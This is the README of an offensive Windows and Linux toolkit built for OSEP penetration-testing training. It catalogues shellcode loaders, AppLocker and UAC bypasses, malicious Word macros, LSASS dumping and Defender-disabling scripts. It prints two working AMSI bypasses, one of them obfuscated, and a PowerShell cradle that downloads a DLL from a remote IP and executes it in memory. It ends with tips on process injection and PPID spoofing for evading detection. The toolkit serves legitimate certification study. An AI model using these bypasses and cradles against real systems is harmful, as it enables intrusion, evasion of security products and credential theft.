A marriage between Octoberfest7/OSEP-Tools and chvancooten/OSEP-Code-Snippets with some improvements/additions
A marriage between Octoberfest/OSEP-Tools and chvancooten/OSEP-Code-Snippets. Thanks to those guys for putting in the real work.
I made some changes to the repos obviously. The easiest way to see what I've done is check the commits and my Changelog section below. I rewrote/reformatted the documentation for the tools, fixed some things here and there, and added some decent functionality on top of the old projects.
Alot of my focus has been on adding to the shellcode loading C#/PS projects, AppLocker bypasses, and Misc things. I included most of OSEP-Tools, and a few projects from OSEP-Code-Snippets that weren't covered already. Keep in mind the projects here are mostly to give you a starting point from which you can expand and upgrade your own versions of the tools.
Below is a small table of contents, some notes, my changelog, and then the disclaimer from the OG OSEP-Tools repo author.
| Module | Description | SubModules |
|---|---|---|
| Active_Directory | Tools that aid in AD enumeration/exploitation | sql |
| AppLocker_Bypass | Tools that aid in bypassing AppLocker | altBypass, DLLInject64, DLLRunner32, psBypass |
| Linux | Tools that aid in executing shells on a Linux box | Linux_Shellcode_Encoders, Linux_Shellcode_Loaders |
| Loaders_Disk | Tools that aid in loading shellcode into memory, from disk, and executing | ASPX_Inject64, ASPX_Runner64, clrunner, clhollow, clinject, D_invoke |
| Loaders_Memory | Tools that aid in loading shellcode into memory, from memory. Usually scripts fetched remotely in powershell. | powerhollow.py, powerinject.py |
| Macros | Tools that aid in executing shellcode either from memory or disk, from a word VBS Macro | WordMacroRunner.vbs, WordMacroRunnerBasic.vbs, vbObfuscate.ps1, WordPsCradle.vbs, WordMacroInject.vbs |
| Misc | Tools aiding in misc things like AV enumeration, automation, dumping LSASS memory, and RCE leveraging win32 API | AV_Stuff, Autos, PSLessExec, MiniDump |
| Privilege_Escalation | Tools that aid in Windows PE | PrinSpoofer.Net, shakeitoff, UACBypass.ps1 |
WordMacroInject.vbs to be able to inject when ran from a 32-bit Word processWordMacroInject.vbs to enumerate 32-bit processes and inject into a process other than WINWORD.exeDisable-AVProduct.ps1 to better enumerate security productsMisc/Autos directory to automate common processes; Added Create-Admin.ps1Disable-AVProduct.ps1 to actually disable windows defender (using provided cmdlets/registry keys, nothing crazy)Disable-AVProduct.min.ps1powerhollow.py and powerinject.py payloads to not fail if no Amsi foundaltbypassbin_to_vbappArray.pypowerinject.py payloads to always execute in a 64-bit processpowerinject.py target injection process identification method. Add any target option.clrunner payload. Add InstallUtil bypass to all cl* Shellcode Loaders.payloads/ directory.DLLInject64 and DLLRunner32. Remove nonDN2J.hta.ASPX_Inject64 and ASPX_Runner64 projectsLoaders_PEs to Loaders_Disk, Loaders_Shellcode to Loaders_Memory, move projects between them.DLLInject64 and DLLRunner32: Move to AppLocker_Bypass, add AMSI Bypasses, and add XSL + HTA Payload examples.AV_Stuff scripts
Get-AppLockerRules.ps1DisableLSA script using my private notesx64_met_staged_reverseHttps* payloads in /bins bc they don't work. The tcp do.
UACBypass.ps1$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE](https://github.com/hackinaggie/osep-tools-v2/blob/main/%22%7B1%7D%7B0%7D%22-F%27F%27%2C%27rE%27) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.1.195/basic.dll');$assem = [System.Reflection.Assembly]::Load($data);$class = $assem.GetType("dll.Class1");$method = $class.GetMethod("runner");$method.Invoke(0, $null)
With Powerinject/Powerhollow make sure you think about whether you will be calling PS download cradle from powershell or cmd.exe and use the appropriate mode when constructing payloads. When you call powershell.exe from cmd.exe or even from another powershell window, you are creating a child process and while the embedded AMSI bypass may work for the child process the parent process will detect the child performing malicious actions and flag it.
Your target for injection must be of the same integrity or lower than the method by which you have code execution. I.e. if you are running in medium integrity you cannot inject into spoolsv, inject into explorer.
Your target parent process for PPID spoofing must be of the same integrity or lower than the method by which you have code execution. I.e. if you are running in medium integrity you cannot specify spoolsv as the parent process. Hollowed process will inherit the integrity of parent process.